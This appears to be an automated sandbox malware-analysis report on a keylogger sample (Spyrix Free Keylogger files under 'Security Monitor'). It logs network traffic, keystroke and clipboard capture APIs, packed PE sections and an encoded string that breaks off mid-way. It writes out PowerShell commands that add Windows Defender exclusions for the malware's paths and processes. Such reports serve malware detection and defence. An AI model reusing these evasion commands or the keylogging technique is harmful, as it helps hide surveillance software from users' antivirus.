Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 23.109.93.100:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.109.93.100:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.14.170:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.114.14.168:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.4:49751 version: TLS 1.2

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 53_2_033C6312 OpenClipboard,

53_2_033C6312

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 53_2_033C6342 SetClipboardData,

53_2_033C6342

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 53_2_033C6292 GetAsyncKeyState,

53_2_033C6292

Source: spkl.exe, 00000035.00000003.2593935763.0000000007617000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_362380c0-f

System Summary

PE file has nameless sections

Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-JF90R.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:
Source: is-9ATRT.tmp.19.dr	Static PE information: section name:

Uses regedit.exe to modify the Windows registry

Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp

Process created: C:\Windows\SysWOW64\regedit.exe "regedit.exe" /e "C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.uid" "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1"

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\181531736511434'"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Remove-MpPreference -exclusionPath "C:\Users\user\AppData\Local\Temp\181531736511434"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess '[space]= .*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c plist.cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\181531736511434'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Remove-MpPreference -exclusionPath "C:\Users\user\AppData\Local\Temp\181531736511434"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess '[space]= .*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c plist.cmd

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 53_2_033C6252 NtdllDefWindowProc_A,

53_2_033C6252

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 53_2_033C5FFA: DeviceIoControl,

53_2_033C5FFA

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Code function: 6_2_02B3DC34	6_2_02B3DC34
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Code function: 6_2_051F6E90	6_2_051F6E90
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Code function: 6_2_051F0006	6_2_051F0006
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Code function: 6_2_051F0040	6_2_051F0040
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Code function: 6_2_051F6E60	6_2_051F6E60
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Code function: 6_2_051FD937	6_2_051FD937
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Code function: 6_2_051FD948	6_2_051FD948
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Code function: 6_2_0A2F2BF8	6_2_0A2F2BF8
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Code function: 6_2_0A2F00C0	6_2_0A2F00C0
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Code function: 6_2_0A2FAFC8	6_2_0A2FAFC8
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033E6654	53_2_033E6654
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033FE88C	53_2_033FE88C
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033F1D50	53_2_033F1D50
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033D110C	53_2_033D110C
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: 53_2_033D0538	53_2_033D0538
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D2B890	67_2_00D2B890
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D220F0	67_2_00D220F0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D1A132	67_2_00D1A132
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D8A140	67_2_00D8A140
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D34170	67_2_00D34170
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D1A132	67_2_00D1A132
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D80130	67_2_00D80130
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00F8A250	67_2_00F8A250
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D6A340	67_2_00D6A340
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D3F5D0	67_2_00D3F5D0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D3E590	67_2_00D3E590
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00F985B0	67_2_00F985B0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D476C0	67_2_00D476C0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D666B0	67_2_00D666B0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D336A0	67_2_00D336A0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D20620	67_2_00D20620
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D6A7B0	67_2_00D6A7B0
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D29A20	67_2_00D29A20
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D88C20	67_2_00D88C20
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D1A132	67_2_00D1A132
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D26F90	67_2_00D26F90
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 67_2_00D11F10	67_2_00D11F10
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01E90	69_3_01B01E90
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01E90	69_3_01B01E90
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01E90	69_3_01B01E90
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01E90	69_3_01B01E90
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01E90	69_3_01B01E90
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01E90	69_3_01B01E90
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01E90	69_3_01B01E90
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01E90	69_3_01B01E90
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01E90	69_3_01B01E90
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: 69_3_01B01CD4	69_3_01B01CD4

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: String function: 033E565C appears 36 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00D46FB0 appears 179 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00D47140 appears 127 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00D23610 appears 43 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00D23380 appears 46 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00D13850 appears 34 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00D19DB0 appears 70 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00D19DE0 appears 31 times
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe	Code function: String function: 00F9D1E8 appears 58 times

Source: [space]= .tmp.18.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: [space]= .tmp.18.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-269PL.tmp.19.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: is-269PL.tmp.19.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: is-9ATRT.tmp.19.dr	Static PE information: Resource name: RT_BITMAP type: DOS executable (COM)
Source: is-9ATRT.tmp.19.dr	Static PE information: Resource name: RT_STRING type: COM executable for DOS
Source: is-9ATRT.tmp.19.dr	Static PE information: Resource name: RT_RCDATA type: COM executable for DOS

Source: is-IFJUI.tmp.19.dr	Static PE information: Number of sections : 18 > 10
Source: is-V94IU.tmp.19.dr	Static PE information: Number of sections : 11 > 10
Source: is-9ATRT.tmp.19.dr	Static PE information: Number of sections : 13 > 10
Source: ffws.exe.53.dr	Static PE information: Number of sections : 11 > 10
Source: is-JF90R.tmp.19.dr	Static PE information: Number of sections : 13 > 10

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg query "HKU\S-1-5-19\Environment"

Source: [space]= .exe.5.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: is-JF90R.tmp.19.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0
Source: is-9ATRT.tmp.19.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: is-JF90R.tmp.19.dr	Static PE information: Section: ZLIB complexity 1.0016526442307692
Source: is-JF90R.tmp.19.dr	Static PE information: Section: ZLIB complexity 1.0005696614583333
Source: is-JF90R.tmp.19.dr	Static PE information: Section: ZLIB complexity 1.0007161458333333
Source: is-JF90R.tmp.19.dr	Static PE information: Section: ZLIB complexity 1.021484375
Source: is-JF90R.tmp.19.dr	Static PE information: Section: ZLIB complexity 1.0003823138297872
Source: is-9ATRT.tmp.19.dr	Static PE information: Section: ZLIB complexity 1.0017903645833333
Source: is-9ATRT.tmp.19.dr	Static PE information: Section: ZLIB complexity 1.0005696614583333
Source: is-9ATRT.tmp.19.dr	Static PE information: Section: ZLIB complexity 1.0008680555555556
Source: is-9ATRT.tmp.19.dr	Static PE information: Section: ZLIB complexity 1.021484375
Source: is-9ATRT.tmp.19.dr	Static PE information: Section: ZLIB complexity 1.0003551136363635

Source: [space]= .exe.5.dr, Settings.cs

Base64 encoded string: 'HUXwGsL2qA2Klp4GxVUBZj53IhCCt8FRahOgIF5wxEYiSEtN7bkJKWuhYdnhpIJq4ktEaX6sYgMULWkDwyERY4HDwqInaXGo4qnrUpvjd0tmKZWB2ku0E0SAcqRtPSSAZhZds1rHDewgKe2WTGuymPkDYmPnYBULitMlA1SA1nwjEuy7w3ZIhcXK5WFFmErCKl6aRQWbxu58cB8mxRzdkLmFVComwNWx4uYcxYpgh7TwfXq4XbRVOOa770EPksojXIErlfyYkT4l1zj6UtPU5BjpTad5Ua4yTsYXT8S0m1u3SyGHRG30dTnWiXXLC1DKYGSIbLnVaXrDQoWeUWnNfEU8FCy5lHytxjfMf7pGciZFljG2A20pOznTuSCYWqtSi6OpJK7Vqhu6nOXe445rQJf74LaN4QsuyHgnVZsz3e8pEqpg4hcauBCZbQu7suaZxAHgrtJfMFxvKy3Ne3SXwS8xEGLFouGJDi0EiJyLX6OoNQPlVgcybDmfATbkhEza8nrk7znVFH8yETkx0isISQqA4VDPrNmTHwpihnnf1HtUEwaqsms7VrHs6rolwYm0dorQnBPM3MPLfW4I3VfEeo7Yp5lz8Bsdd20YFKCqWfDIb5Mjvgra1iWypSkqZYN2dvqmffCsSyq7kz6ttBEbTRk4gBsvjUR7RKnoOiEPd8HD0XNzUz6XUviLLvGdwPJ6gspaLReK5y6UJhEIx1asX2nfkcdbckbNzKgHrwoDVwbexOBmr6p4xZjmFJyswCqUXsd8A5aBNXXjbIqVaztf4fZZj2Bh65PSGGHFtClugnraBAL5ccR6RKZ0TEZH42DQIEdUBlkXN88Qx8XjqEFdnSA4qPupmezmkaR5gz4z03sSLIDUpyZzwimzEhnvz4usJVpWqaD0JOltjrsiLaAwE8zBwb17MJA5I8IzcqmOviqi62QVxFjZ37oKfniPiFnAOokjj2FewuBeSRE3KfJHijBJU7TxHXoq4pTRRpv48ElI6J0OioEC4gannaPkiQXYGTil6wlesOHd71MKGFPbTmuYOonzaLVrqMCmjOQvDjSqY6puOEdcB5FchKWRJuDh1Zvuzij0ycXtTEAR82lVq1puGiEZ17mSfux8K34oemnihVJdKFSQIq0AsBnQdK8zzFNhQAHE760EOHNuZkOvp